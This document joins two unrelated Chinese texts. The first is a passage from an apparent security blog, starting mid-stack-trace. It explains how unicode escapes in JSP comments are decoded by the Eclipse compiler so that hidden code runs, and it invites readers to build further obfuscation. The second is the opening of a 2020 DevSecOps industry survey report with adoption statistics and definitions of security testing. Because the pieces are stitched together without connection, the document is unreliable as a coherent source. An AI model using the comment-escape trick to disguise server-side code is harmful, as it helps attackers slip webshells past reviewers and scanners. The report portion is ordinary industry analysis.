CoyoteAdapter (org.apache.catalina.connector) service:382, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1732, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:844, Thread (java.lang) 好了不扯那么多,回到正题,在讲之前我们需要知道有个东西叫javadoc相信⼤家都很熟悉了 就是⽤于描述⽅法或者类的作⽤的东西,⽽造成可以解析的原因其实和这个有关系(jsp编译过 程当中⽤到了AST,这⾥不多扯) 在⽣成最终class的过程当中,它会遍历⽂件当中的字符并做unicode解码处理,下图可以看到 正在遍历的过程 ⽽对于unicode的处理最终 在 org.eclipse.jdt.internal.compiler.parser.Scanner#getNextToken0 ,简单看 了眼代码其实是为了让AST兼容注释功能,回到代码如果开头是 / ,之后会判断下⼀个字符 是 / 还是 * ,也就是单⾏或者多⾏注释咯 根据代码我们这⾥显然 lookAhead 为0,因此我们来看if分⽀,继续往下⾛当前为 \r 如果下 ⼀个又是unicode编码的字符会进⾏unicode解码同时isJavadoc属性会赋值true 接着往下我们的 \uabcd 是乱码字符和下⾯条件也不符合所以也不继续⾛了简单看看代码 呗,不⾛的原因⼀⽅⾯是这个下⼀个字符不是 \n 另⼀⽅⾯checkNonExternalizedStringLiterals 在我这个tomcat版本默认为false 但是我还是好奇的看了⼀眼parseTags函数,在⾥⾯处理的注释前缀是 TAG_PREFIX = "//$NON-NLS-".toCharArray(); ,以及 IDENTITY_COMPARISON_TAG = "//$IDENTITY-COMPARISON$" 很神奇简单考古可以看到https://stackoverflow.com/questions/6 54037/what-does-non-nls-1-mean,从描述可以看出作⽤是为了国际化,但更具体的可以看看官 ⽅的这篇⽂章了解写的很详细https://www.eclipse.org/articles/Article-Internationalization/how2I18 n.html 当然肯定能在这个层⾯上做更多的混淆,接下来的灵活的⼯作就交给⼤家⾃⼰构造了,感谢 我yzddmr6,之前还没想到可以这样 但是还是不知道如果默认属性开的情况下,为什么出现 //\u000d\u000a 或 //\u000d\u000d 就会判别是要去识别那两个标签,希望有懂的师傅说说
pdf
03 2020 DevSecOps 行业洞察报告 法律声明 此报告为悬镜安全与 Freebuf 咨询联合制作,报告中的文字、图片、表格等版权均为悬镜安全与 Freebuf 咨询 共同所有。任何组织、个人未经悬镜安全及 Freebuf 咨询授权,不得转载、更改或者以任何方式传送、复印、 派发该报告内容,违者将依法追究法律责任。转载或引用本报告内容,不得进行如下活动: 不得擅自同意他人转载、引用本报告内容。 不得引用本报告进行商业活动或商业炒作。 本报告中的信息及观点仅供参考,悬镜安全及 Freebuf 咨询对本报告拥有最终解释权。 悬镜安全,DevSecOps敏捷安全领导者,由北京大学网络安全技术研究团队 “XMIRROR”主导创立,专注于以AI人工智能技术为核心的DevSecOps软件供 应链持续威胁一体化检测防御。 悬镜首创基于AI情景感知的DevSecOps持续威胁管理技术,从源头追踪软件 供应链在开发、测试、部署、运营等关键环节面临的应用安全风险与未知外部 威胁,帮助政企组织逐步构筑一套适应自身业务弹性发展、面向敏捷业务交付 并引领未来架构演进的内生安全开发运营体系”。 关于悬镜 FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析,分享 国内外安全资源与行业洞见,是网络安全从业者与爱好者广泛关注的行业社 区平台。 FreeBuf咨询集结安全行业经验丰富的安全专家和分析师,常年对信息安全技 术、行业动态保持追踪,洞悉安全行业现状和趋势,呈现最专业的研究与咨询 服务。 关于FreeBuf咨询 出品人:子芽、尤文、董毅 编辑:李雅、刘一赫、栗子、武文婧 设计:王金花、赵青青、王璐 参编人员 导语 INTRODUCTION 今年的 RSA Conference 于 2 月 24-28 日在美国旧金山如期召开,会议主题为“Human Element”,人为因素被认为是影响未来网络安全发展最深远的主题。会议期间,官方还基于参 会人员的关注热度,发布了 2020 年网络安全行业十大趋势,DevSecOps 再次成为大家关注的焦 点之一。其中,有着“全球网络安全风向标”之称的 RSA 创新沙盒,进入十强的安全厂商中近半 数聚焦在应用安全领域,BluBracket 和 ForAllSecure 等就是今年 DevSecOps 领域的创新厂商代表, Comcast、US DoD 及 NIWC 等机构的 DevSecOps 落地应用也逐渐成为行业实践典范。 虽然国内的金融、能源、互联网等产业用户没有像美国一些头部机构那样做 DevSecOps 的深 度转型,大部分还是现有的 SDL 体系,但这并不妨碍我们开始积极拥抱 DevSecOps 框架及 CI/CD 黄金管道涉及的敏捷安全活动。正是这些关键活动涉及的新兴技术的逐渐成熟和敏捷安全新理念 的普及,推动了国内 DevSecOps 体系的逐渐落地,关键标志之一就是持续专注 DevSecOps 的创 新安全厂商开始涌现,我们的通用技术方案开始被越来越多的行业头部用户采纳,并分阶段持续 为行业用户建立起逐渐完善的安全开发运营体系。 本报告是悬镜安全联合 Freebuf 咨询在国内发布的首个 DevSecOps 行业调查报告,希望从行 业用户、厂商力量及安全媒体等综合视角观察并分析 DevSecOps 在国内的发展现状。报告上篇对 DevSecOps 实践情况进行了一定调查,通过问卷调查、资料收集、交流访谈及技术沙龙等形式开 展相关调查工作,对千余名不同 IT 背景的专业人员进行了调研,通过他们的声音和真实反馈,表 明了 DevSecOps 正逐渐被应用开发团队认可并加速实践,部分领先机构的应用安全工作在软件开 发生命周期的早期就已经实现高度自动化。报告下篇描绘了不同行业的 DevSecOps 实践现状,梳 理了当前发展热点技术,并对未来发展趋势做了展望。这部分内容主要依赖于同行业专家的沟通 与座谈,并融合了我们在行业中观察到的具体现象、发展趋势和应用案例。 拥抱变化是敏捷安全建设的基石。我们希望通过本报告的调查及分析,能够推动更多行业用 户结合自身业务特点,尝试了解、对比学习甚至着手采纳业内领先的 DevSecOps 敏捷安全体系及 落地实践经验,从源头追踪软件供应链在开发、测试、部署、运营等关键环节面临的应用安全风 险与未知外部威胁,帮助政企组织逐步构筑一套适应自身业务弹性发展、面向敏捷业务交付并引 领未来架构演进的内生安全开发运营体系。同时,也希望本报告能够鼓励更多不同类型的技术力 量与 DevSecOps 行业展开新的对话,并成为建立新的安全基准的参考依据。 出品人 子芽 2020 年 12 月 目录 1. DevSecOps发展现状 34 1. DevSecOps行业调查 02 2. DevSecOps调查后记 31 1.1 DevSecOps现有体系 36 1.2 DevSecOps安全工具金字塔 40 1.3 不同行业的DevSecOps现状 48 1.4 非安全工具的DevSecOps融合现状 55 1.1 调研对象及行业领域 03 1.2 DevOps/DevSecOps成熟度 08 1.3 企业软件应用安全现状 15 1.4 研发流程与安全现状 21 1.5 容器、开源组件、云服务 25 1.6 维护软件应用存在的挑战 29 2. DevSecOps年度热点 58 2.1 2020年度热点技术 2.2 2020年十大热点新闻事件 61 3. 发展趋势 3.1 2021年DevSecOps实践趋势预测 67 59 66 调查篇 调查篇通过问卷调查、资料收集、交流访谈等形 式开展相关调研工作,共收到 1571 条有效调研 数据,旨在了解 DevSecOps 实践者和潜在实践 者的想法、做法以及遇到的问题。 1 DevSecOps行业调查 03 1.1 调研对象及行业领域 受调者职位:本次调查受调人员共 1571 名,其中占比最大的是开发人员,占总人数的 50%,IT 运维人员占 16%,测试人员占 12%,管理者占 10%,除此之外,其他受调者占比均低于 10%,分别是安全工程师占 7%, UI/UE 占 3%,其他受调者仅占总人数的 2%。DevSecOps 对于开发、测试及运维人员的关系更为密切。 您所担任的岗位类型? 开发人员 50% 16% 12% 10% 7% 3% 2% IT运维人员 测试人员 管理者 安全工程师 其他 UI/UE 04 受调者角色:在受调者中普通员工最多占比 82%, 中层管理者占比 14%,而高层管理者占比 3%,自由职业者 占比 1%。在实际工作中,普通 IT 员工和中层管理者与 DevSecOps 实践的联系更为紧密。 受调者所在组织的开发人员:在所有受调者中,仅有 11% 的受调者所在的组织的开发人员人数大于 1000 名, 所在组织开发人员多于 100 名且不超过 1000 名的受调者占比为 15%,所在组织规模开发人员少于 100 名的受 调者占 74%,其中组织开发人员规模在 11 到 30 人的受调者最多,占比为 36%。 您单位的开发人员数量? 0 0 1-10 11-30 31-100 101-1000 1000以上 10% 20% 30% 40% 2% 22% 36% 14% 15% 11% 82% 14% 3% 1% 普通员工 中层管理者 高层管理者 自由职业者 您所在单位中的角色是? 05 受调者所处行业:在所有受调者中,来自互联网 / 软件的受调者占 70%,来自金融行业的受调者占 12%,此 两行业受调者总计占比为 82%。在其余 18% 的受调者中,教育行业和通信行业各占 5%。 您单位所处的行业是? 12% 互联网/软件 70% 金融服务 能源 1% 媒体 1% 零售 1% 政府和事业单位 1% 教育 5% 通信 5% 军工 1% 其他 4% 工业 2% 组织对于安全工作的重视程度因行业而异,尤其是互联网与金融行 业重视用户体验与网络、数据安全,整体IT建设的标准较高,因此本 次调查问卷触达的相关行业人员数量最多。作为DevSecOps安全保 障工作的实际执行者,开发、运维及测试人员对项目开发中的安全痛 点和需求的认识更为深刻,本次调查也更多地触达了以上人群。 小结 贴合实际,全流程多维度安全检查介入,避免 后期安全问题积累,提前获取已知问题得到 最佳修复时间。 大家说: GuoZhiPing 软件/互联网 上海市浦东新区 08 1.2 DevOps/DevSecOps 成熟度 受调者对 DevOps 的熟悉程度:在所有受调者中,对于 DevOps 非常了解且有亲身实践的人数仅占 19%,有 一些了解但没有实践的受调者人数最多占比为 32%,听过但并不了解的受调者占 23%,完全没听过的受调者 占比为 26%。由此可见,虽然有 74% 的人听过 DevOps,但有亲身实践的人少之又少,说明目前实践 DevOps 模式的组织相对较少,尚有较大增长空间。 您对 DevOps 的了解程度如何 ? DevOps(研发运营一体化):是 Development 和 Operations 的组合词,它是一组过程、方法与系统的统称。 研发运营一体化是指在 IT 软件及相关服务的研发及交付过程中,将应用的需求、开发、测试、部署和运营统 一起来,基于整个组织的协作和应用架构的优化,实现敏捷开发、持续交付和应用运营的无缝集成。帮助组织 提升 IT 效能,在保证稳定的同时,快速交付高质量的软件及服务,灵活应对快速变化的业务需求和市场环境。 DevSecOps(研发安全运营一体化): 是 Development 、 Security 和 Operations 的组合词,DevSecOps 主要 是针对以 B/S 架构为主的软件应用系统,其核心思想是凭借静态应用安全测试(SAST)、动态应用安全测试 (DAST)、交互式应用安全测试(IAST)等多种形式的检测手段,在软件开发周期内编码、集成、测试等任 一阶段,对软件进行代码层面和应用层面的安全性检测,从而在发布软件前尽可能找到更多的 Bug 或漏洞, 降低软件上线后修复 Bug 或漏洞的成本和风险。 报告术语界定 没听过 听过不了解 有一些了解 但没有实践 非常了解 且亲身实践 26% 23% 32% 19% 09 受调者对 DevSecOps 的熟悉程度:在所有受调者中,对 DevSecOps 完全没听过的比重最多为 41%,听过但 并不了解的受调者占 28%,有一些了解但没有相关实践经验的受调者为 21%,对于 DevSecOps 非常了解且有 一定亲身实践的受调者占 10%。通过这部分的数据,可以反映出 DevSecOps 的推广及普及尚处于起步阶段。 您对 DevSecOps 的了解程度如何 ? 没听过 听过不了解 有一些了解 但没有实践 非常了解 且亲身实践 41% 28% 21% 10% 您单位开发的应用类型是? Web网站 物联网 桌面应用 不开发应用 移动App 小程序 微服务 其他 不清楚 0% 100% 18% 33% 36% 57% 72% 17% 3% 3% 1% 受调者所在组织开发的应用类型:受调者所在的单位中,开发 Web 网站的组织占比最高为 72%,其次是移 动 App 占比为 57%,除此之外组织开发类型较多的为小程序占比是 36%、微服务占比是 33%、物联网占比为 18%、桌面应用占比为 17%。通过分析这些数据,可以得出 Web 网站和移动 App 仍是目前组织开发的主流应 用类型,小程序和微服务也占有一定份额的比重。 10 受调者所在组织的软件研发流程模式:在所有受调者中,43% 受调者所在组织在软件开发时会使用 Agile 敏捷 模式,其次是使用 DevOps 和瀑布模式的单位,均占比 12%,而使用 DevSecOps 的单位仅有 6%。透过数据 可以发现,敏捷模式仍是目前市场上组织进行软件研发的主流选择,而选择使用 DevOps 或 DevSecOps 的组 织未超过两成。 受调者所在组织的 DevSecOps 成熟度:在所有受调者所在的组织中,没应用过 DevSecOps 的占 82%,虽应 用过 DevSecOps 但并不成熟的组织占 10%,认为自身有一定成熟度但仍在持续改进中的组织占 6%,认为自 身 DevSecOps 实践已非常成熟的组织仅占 2%。可以看出,DevSecOps 对大多数组织来说,还属于新生事物。 您单位软件产品研发所使用的流程模式是? 您单位的 DevSecOps 成熟度如何? 0 DevOps DevSecOps 瀑布模式 敏捷模式 大规模敏捷 模式(SAFE、 DAD、Less等) 不清楚 10% 20% 30% 40% 50% 12% 6% 12% 43% 3% 22% 其他 2% 没应用 DevSecOps 应用了 DevSecOps 但不成熟 有一定成熟 度,持续改 进中 非常成熟 82% 10% 6% 2% 11 受调者所在组织没有应用 DevOps 的原因:数据显示,组织是因为不了解 DevOps 才没有采用的占 45%,其次 是组织领导层对 DevOps 关注不够占 28%,17% 的组织是因为觉得不易实践或难以推动,仅有 10% 的组织没 有采用的原因是因为项目规模或业务不适用。由此可见,组织不采用的主要原因还是对 DevOps 的了解度不够。 您单位没有应用 DevOps 的原因是? 受调者所在组织使用的 DevOps 平台来源:数据显示,46% 的组织更倾向于使用开源平台,其次是选择使用自 研平台的组织占 19%,而选择收费产品的组织只占 8%,而会选择闭源免费平台的组织仅占 2%。近一半的受 调者确定所在组织并未在 DevOps 平台上进行资金投入。 您单位使用的 DevOps 平台的来源是? 自研平台 不清楚 开源平台 19% 收费产品 8% 闭源免费平台 2% 25% 46% 45% 10% 17% 28% 不了解DevOps 项目规模或业务不适用 不易实践/难以推动 领导层不关注 12 受调者所在组织使用的 DevOps 平台:在受调者所在组织中,45% 的组织从未使用过 DevOps 平台,在使用 DevOps 平台的组织中,阿里云、腾讯云、华为云自身 DevOps 产品的使用者较多。腾讯系的蓝鲸也有相当数 量的使用量。可以看到,组织在选择使用 DevOps 平台时,会优先选择互联网头部厂商的平台。 您单位使用的 DevOps 平台是 ? 没使用 嘉为蓝鲸 平安神兵 开源和免费工具 阿里云效 腾讯云Coding 华为云DevCloud 博云 其他 0% 100% 5% 7% 12% 13% 45% 11% 5% 1% 1% 安全是一个老生常谈的话题,但目前大多数组织只是停留在口头层 面的重视,而非积极主动方式的应对。在传统开发项目中,开发组织 通常更多地关注核心功能,在安全性方面往往缺乏经验与耐心,只会 满足要求的最小集,安全问题暂时推延,导致运维与安全人员不得不 扮演“救火队员”的角色。所以,DevOps实践需要在全流程上引入安 全要素。如果忽视安全的重要性,将会对DevOps的实践结果产生负 面的影响,若速度不是建立在安全性和可用性的基础之上的话,项目 失败将不可避免。 组织中DevSecOps的应用普及关键在于自上而下对于安全的关注 度,辅之以长期实践与持续改进的执行力,不能指望短期内就能实现 从无到有,做到完美。只有全员安全意识提升,配备完善的工具与流 程,开展安全相关的培训,加强整个团队的DevSecOps成熟度,才能 从根本上降低生产风险。 小结 14 DevSecOps敏捷安全领导者 01 大家说: 嘉 金融服务行业 DevSecOps可以使安全防护左移,在落地的 过程中安全部门要更注重与开发、运维之间 的精诚合作,做到真正的助力业务,守护业 务。 15 1.3 企业软件应用安全现状 应用安全的重要性:调查数据显示,96% 的受调者已经认识到安全在软件应用中的重要性,但仍有 4% 的受调 者缺乏相关意识。 受调者处理软件应用中安全问题的时间:数据显示,84% 的受调者认为用于处理软件应用中安全问题的时间不 足,只有 16% 的受调者认为有充足的时间来处理软件应用中的安全问题。 您觉得在软件应用中,安全的重要性是? 您是否有足够的时间处理软件应用中的安全性问题? 61% 35% 4% 不重要 比较重要 非常重要 100% 时间非常充足 有一定的时间处理但不充足 时间非常不足 16% 63% 21% 16 受调者所在组织软件应用发布上线频率:62% 的组织每周都会进行软件应用发布,其中每周一次的组织占 28%,每周多次的组织占 24%,而每天多次上线新版本的组织占 10%。除此之外,迭代周期为数月的组织占 9%, 低于每年一次上线软件版本的组织仅占 3%。 自动化安全测试工具应用:调查数据显示,已使用黑盒测试工具 DAST 的组织占 49%,使用白盒测试工具 SAST 的组织占 42%,采用软件成分分析工具 SCA 的组织占 15%,采用灰盒安全测试工具 IAST 的组织占 5%。 除此之外,24% 的组织没有用任何工具,其他受调者表示不清楚组织是否有采用安全测试工具的具体情况。 您单位软件应用发布上线的频率是? 您单位软件应用生产过程中,所使用的应用安全检测工具有? 0 每天多次 每周多次 每周一次 数周一次 数月一次 低于每年一次 10% 20% 30% 40% 10% 24% 28% 26% 9% 3% 黑盒测试工具(DAST) 软件成分分析工具(SCA) 灰盒测试工具(IAST) 白盒测试工具(SAST) 没用任何工具 不清楚 0% 100% 17% 24% 42% 49% 15% 5% 17 受调者获知应用安全问题的渠道:大部分受调者通过他人的反馈来获知软件应用的安全问题,其中包括通过安 全管理人员了解软件应用安全问题的受调者占 45%,通过客户或用户反馈占 28%,通过政府监管部门通知占 13%。而通过安全工具了解软件应用安全问题的占比为 29%,没了解过安全问题和没发生过安全问题的受调者 共占 28%。 您是通过哪些渠道获知软件应用的安全问题的? 通过安全管理人员 从未发生过安全问题 其他 通过安全工具 客户或用户反馈 我没了解过安全问题 政府监管部门通知 0% 100% 13% 16% 28% 29% 45% 12% 6% 受调者接受应用安全培训:81% 的受调者表示从未接受过任何安全培训,仅有 19% 的受调者接受过应用安全 培训,其中 10% 的受调者接受过组织内训,5% 的受调者通过自学网课的方式进行安全培训,而仅有 3% 的人 是通过专业的课程完成培训。通过数据分析,大部分的组织进行安全培训的力度有待加强。 您接受过何种应用安全培训? 自学网课 企业内训 从未接受过任何安全培训 5% 专业课程 (等保人员培训、CISP培训等) 3% 第三方培训 1% 10% 81% 18 受调者所在组织过去一年发生的信息安全事件:仅有 30% 的受调者确认组织在过去一年发生过信息安全事件, 48% 的受调者表示所在组织去年一年未发生任何信息安全事件,22% 的受调者表示并不清楚是否发生过信息 安全事件。 过去一年,您单位所开发的软件应用中是否发生过信息安全事件? 30% 48% 22% 发生过 未发生 不清楚 现如今,有越来越多的企业组织在软件开发过程中应用敏捷开发或 DevOps等模式,随着应用发布频率的加快,安全问题也越来越凸显 出来。对于企业组织来说,需要加强对开发和测试等人员的安全培训 工作,让安全成为团队中每一个人的责任。 小结 DevSecOps敏捷安全领导者 01 大家说: 宇寰 软件/互联网 关键还是自上而下的执行力,而后就是长期 实践和持续改进,不能指望几个月就能从无 到有,做到完美。再者就是全员安全意识提 升,配合相应奖惩制度,逐步转变观念。 21 受调者所在组织安全工作对软件应用生产效率的影响 :81% 的受调者表示安全工作会影响软件应用生产的效 率,其中 55% 的受调者表示会降低些许效率,26% 的受调者表示对效率的影响巨大,除此之外 9% 的受调者 表示组织的安全工作对软件应用生产效率几乎没有影响,10% 的受调者表示并不清楚是否存在影响。 您认为安全工作对软件应用生产效率的影响是? 1.4 研发流程与安全现状 几乎没影响 会降低些许效率 对效率影响巨大 不清楚 9% 55% 26% 10% 22 受调者所在组织进行应用安全检测的阶段:数据显示,在测试阶段进行应用安全检测的占比最多,为 46%,其 次是发布阶段,编码阶段再次之。 受调者所在组织软件流程与安全测试工作的结合程度:34% 的受调者表示组织的安全测试是需要独立执行的工 作,31% 的受调者表示虽然已经集成,但包含一定程度的人工实施,5% 的受调者表示软件流程与安全测试工 作已完全实现集成且完全自动化。 您单位在什么阶段进行应用安全检测? 您单位软件研发流程与安全测试工作的结合程度是? 0 编码 编码构建 集成 测试 发布 运营 10% 20% 30% 40% 50% 27% 24% 23% 46% 31% 20% 贯穿全流程 19% 不清楚 24% 没结合,安全 是独立执行的 工作 已集成,但包 含一定程度的 人工实施 已集成且完全 自动化 不清楚 34% 31% 5% 30% 当前,安全工作与开发流程的结合是趋势,但尚未成熟。更多的安全 工作还是以相对独立的形态完成,并会对应用开发效率产生明显的 影响。值得欣慰的是,组织已更多地选择将安全工作放到上线之前完 成,以实现“安全左移”。这使得应用漏洞可以在上线前便被修复,减 少上线后发生安全事件的概率。 小结 DevSecOps敏捷安全领导者 01 大家说: 无风格 软件/互联网 河北承德 确定目标,选好姿势,梳理全流程,制定规范, 最后分布实施。 25 1.5 容器、开源组件、云服务 受调者所在组织对容器安全方案的使用:38% 的受调者表示所在组织已应用了容器安全解决方案,有 28% 的 受调者表示所在组织并没有应用容器安全解决方案,同时 34% 的受调者表示并不清楚组织是否应用容器安全 解决方案。 受调者所在组织使用的云安全产品供应商:39% 的受调者表示所在组织选择了云服务商所提供的云安全产品, 16% 的受调者表示所在组织使用了云服务但并没有使用安全产品,没有使用云服务的组织占 12%,10% 的组 织会选择第三方安全厂商的云安全产品。 您单位是否应用了针对容器的安全解决方案? 您单位使用的云安全产品供应商是? 38% 28% 34% 已应用 未应用 不清楚 云服务商 不清楚 使用云服务 但没使用安全产品 没使用云服务 第三方安全厂商 0% 100% 10% 12% 16% 23% 39% 26 受调者对软件应用中使用的开源组件的了解程度:69% 的受调者表示对所生产的软件应用中使用的开源组件有 一定的了解,其中 57% 的受调者表示仅是部分了解,完全了解的受调者占 12%,同时,还有 31% 的受调者表 示对所生产的软件应用中使用的开源组件并不了解。由此可见,虽然大部分人对所使用的的组件有相关了解, 但了解程度有待提高。 受调者组织对软件应用中所使用开源组件的管理情况:75% 的受调者表示所在组织对开发的软件应用中使用开 源组件有相关的管理,其中 58% 的组织只是有一些管理措施,仅有 17% 的组织对使用开源组件的管理措施很 严谨;同时还有 25% 受调者的组织对使用开源组件完全没有管理。由此可见,组织对于开发软件应用中使用 开源组件管理的重视程度相差很大,使用开源组件可以提升一定的效率,但同时也会存在许多风险,这时就需 要组织提升自身对于开源组件安全的重视。 您是否了解所生产的软件应用中使用了哪些开源组件? 您单位对开发的软件应用中使用开源组件的管理情况是? 完全了解 部分了解 不了解 12% 57% 31% 完全没有管理 有一些管理措施 管理措施很严谨 25% 58% 17% 容器、云、和开源管理,是现代软件开发和运行的重要基础设施。基础 设施是应用软件的根基,只关注自开发代码的安全性是不够的,软件 基础设施的安全同样是保障应用安全必不可少的一环。 小结 DevSecOps敏捷安全领导者 01 大家说: WH 金融服务行业 北京西城区 自动化测试和手工测试都有存在的应用场 景,一步跨越到完全自动化测试也是不现实 的。 29 1.6 维护软件应用存在的挑战 受调者在维护软件应用安全性上遇到的最大挑战:36% 的受调者表示最大的挑战是“不清楚应用安全的具体要 求”,29% 的受调者表示是“不清楚如何保障应用安全”,28% 的受调者选择了“发现应用安全问题不全面”。 可以看到,安全上面临的挑战比较多样,但不清楚要求和方法的占比最高,这再一次说明了安全培训的重要性。 您认为,在维护软件应用安全性上遇到的最大挑战是? 不清楚应用安全的具体要求 迭代速度优先于安全要求 应用安全要求执行不到位 已知安全问题但不会修复 其他 不清楚如何保障应用安全 发现应用安全问题不全面 在安全投入的资源不足 发现应用安全问题太晚 0% 100% 16% 18% 28% 29% 36% 14% 12% 9% 5% 安全永远在路上,安全研发体系建设的探索与实践是一个不断打磨 和演进的过程,其中的问题很多,包含了技术工具融合、方法论运用、 人才培养、跨团队协作等众多挑战。安全培训的加强以及安全工具的 使用,能在很大程度上缓解安全问题带给我们的困难。 小结 2 调查后记 32 本次调查的目的是从 DevSecOps 实践者及潜在实践者的角度,了解 DevOps 及 DevSecOps 在组织中的实践现 状。本次调查结果在一定程度上展示了受调者在 DevSecOps 实践上的所想、所做和挑战。本次调查中 82% 的 受调研对象来自于金融服务和互联网 / 软件行业,样本行业的集中度较高。 从调查结果中我们看到,更快、更 安全的软件应用是许多组织所追求的,但仍有近七成的受调对象完全不了解 DevSecOps,实践者仅有一成。 在保障安全的方式上,有 73% 的技术人员的安全问题获悉渠道是来源于安全管理人员或者黑客攻击纰漏问题 及用户反馈,这使得企业的风险发现及问题处置工作变得非常被动。 这是本报告的联合编制组完成的首次 DevSecOps 调查,在样本分布控制和问卷设置方面,难免出现不成熟之处, 望读者谅解并指教。 希望在 2021 年的调查中,我们能看到 DevSecOps 实践的成熟和进步。有更多的实践者,通过 DevSecOps 帮 助他们实现敏捷安全的目标。 1 DevSecOps发展现状 洞见篇融合了行业安全专家及咨询师的思考和判 断,旨在阐述DevSecOps在当下的发展态势,以及 预测未来的发展趋势,帮助DevSecOps实践者梳 理出前瞻性的实践思路。 1 DevSecOps发展现状 35 随着当下技术的不断发展,软件开发模式也在不断发生变化,从传统的瀑布模式到敏捷开发、再到 DevOps。 DevOps 主张在软件开发生命周期的所有步骤实现自动化和监控,缩短开发周期,增加部署频率。 进入互联网时代之后,企业向 DevOps 快速转型,产品交付质量和速度都在快速提升,而安全资源的缺乏以及 传统安全运营模式,却阻碍了 DevOps 的发展。 Gartner 在 2015 年数据中心和信息安全峰会的调研报告显示,安全已经成为 IT DevOps 发展的阻碍。安全, 作为业务合规避险的基石,必须要积极转型,适应DevOps全新的开发过程。在此趋势下,DevSecOps应运而生, 它是 DevOps 的衍生概念,即将安全嵌入到 DevOps 的流程中,强调安全需要贯穿从开发到运营整个软件生命 周期的每个环节。其核心是在不牺牲安全性的前提下,快速和规模地交付软件产品。 对于大部分开发团队而言,安全是比较孤立的,大部分开发和运维人员没有接受过安全编码和安全事件的培 训,使得安全与开发的过程是分割开的。DevOps 所涵盖的角色包括开发人员和运维人员,并不包括安全人 员。安全作为软件开发的保障性因素,却被排除在外。而 DevSecOps 的出现可以通过固化流程、加强不同 人员协作,通过工具、技术手段将可以自动化、重复性的安全工作融入到研发体系内,让安全及合规作为属 性嵌入到 DevOps 开发运营一体化中,在保证业务快速交付价值的同时实现安全内建,降低 IT 安全风险。在 DevSecOps 的理念下,企业的整个 IT 团队目标统一,即在保障敏捷开发的基础上,共同背负起安全的责任。 虽然国内的 DevSecOps 落地仍处于发展阶段,但很多国内企业已经意识到开发安全的重要性。随着 DevOps 的深度实践,工作流程越来越规范、工具和应用场景也越来越丰富。在此趋势下,国内陆续涌现出一批专注 DevSecOps 的创新安全厂商,新一代的技术方案被越来越多的行业头部用户所采纳。 36 1.1 DevSecOps 现有体系 1.1.1 DevSecOps 概况 传统应用开发流程主要有瀑布模式(Waterfall)和敏捷模式(Agile)。在应用程序的迭代周期较长时,同样较 长的安全工作实施周期是可以被接受的,但随着 DevOps 的大行其道,传统的安全工作方式成为了应用开发速 度的瓶颈,DevSecOps 针对此问题应运而生。 在 DevOps 中,每个人都必须专注于用户,以持续集成和持续交付(CI/CD)的方式快速满足用户的需求。但 是传统上,安全团队专注于以安全为中心的目标,以使组织符合信息安全法规,并降低应用被网络攻击的风 险。如果安全性阻碍了 CI/CD 交付的速度,那么它将影响以业务为中心的软件生产模型的成功。这就是安全 性需要成为 DevOps 团队不可或缺一环的原因。无论是安全中融合 DevOps 的概念,还是在 DevOps 中包含安 全,目标都是以 DevOps 的速度交付安全的软件产品。DevSecOps 的实践方式没有统一的硬性规定。但是, 建立流程模型将主导下一步选择工具和技术以实施流程的步骤。随着安全成为 DevOps 周期的组成部分,有 一种说法将其称为连续安全保障管道。这一持续的安全管道,帮助我们构建了一个流程模型以指导组织实施 DevSecOps。 在建议的流程模型中,持续安全性方法为 DevOps 生态系统提供以下关键服务 : 敏捷软件 开发周期 Agile 计划 验证 发布 监控 安全 开发过程 应用迭代周期 数月到数年 数天到数周 数小时到数天 Waterfall Agile DevSecOps 计划 集成 评估 测试 开发 设计 生成 配置 37 安全设计:安全设计可确保 DevOps 团队开发的产品和服务符合安全最佳实践、法规、标准和法律,并实现数 据隐私和保护。这部分工作重点在详细分析安全需求并进行适当设计。此外,威胁建模也是一项重要工作,其 目的在于在编码阶段实施控制。例如,实施控制以防止 Web 应用程序出现 SANS 25 和 OWASP Top 10 漏洞。 高级威胁建模对于关键业务系统预测可能面临的威胁来源,并提前考虑预防和应对措施至关重要。安全编码是 开发实践中重要的一环,通过遵循已建立的威胁模型来降低与安全相关的脆弱性、漏洞数量和集成错误。安全 编码涉及输入验证、会话管理、用户凭证验证、用户访问控制、数据保护和隐私、日志记录、API 安全性、检 测安全性错误配置等方面。 安全测试:安全测试是 DevSecOps 实践的关键部分,软件程序经过各种方法的测试以保证质量。安全测试不 仅应涉及软件程序,还应关注端到端管道、实时生产系统、软件基础设施、数据库以及中间件,以降低任一环 节的安全攻击风险。在安全测试方面,它与传统的手动测试方法有所不同,尽可能采用自动化是其核心要求。 安全团队必须与开发和测试人员合作,测试软件程序的漏洞,例如 SANS 25 和 OWASP Top 10,以确保软件应 用遵循了安全要求和质量要求。通常情况下,需要依赖 CI/CD 管道自动执行这些测试过程,并且必须在代码部 署至实际生产环境之前通过所有必要的测试用例(涉及功能性和安全性)。静态应用安全测试(SAST)是分 析软件模块的源代码以检测常见的安全缺陷和配置错误所遵循的常见方法。开发人员和安全团队必须合作,将 源代码分析集成到集成开发环境(IDE)设置中,在该集成开发环境中进行编码以开发软件模块。同样,动态 应用安全测试(DAST)和交互式应用安全测试(IAST)主要致力于在发布给生产环境之前,从使用方的角度 检测软件应用程序。开发人员,测试人员和安全团队必须共同协作,以自动方式在 DevOps 管道中实施这些强 制性测试工作。至于剩余的两个方面:安全监控和风险管理,并不特定用于 DevSecOps,而是软件开发中通 常遵循的安全原则,这些原则可以帮助 DevSecOps 提升完整性。 安全监控:安全监控的重点是对软件基础设施和应用程序中产生的日志进行实时和脱机分析,以了解已发生的 攻击事件从而发现漏洞,并向安全团队发出警报,以响应安全事件或漏洞。当需要调查关键安全事件时,可对 取证工作提供支持。 安全风险管理:风险管理通过采取安全控制措施来分析和缓解安全风险。在 DevSecOps 中,风险管理必须协 同其他工作,以 DevOps 的速度提供支撑,而避免阻碍流程。对 DevSecOps 来说,轻量级方法或快速风险评 估(RRA)通常比传统方法更可取。将组织风险管理流程调整为 DevOps,并尽可能在将应用软件发布到生产 环境之前解决所有适用的威胁。可采用一些广泛使用的威胁建模方法,例如 STRIDE(伪装,篡改,抵赖,信 息泄露,拒绝服务,提升权限)和 DREAD(潜在损失,可复现性,可利用性,受影响的用户,可发现性), 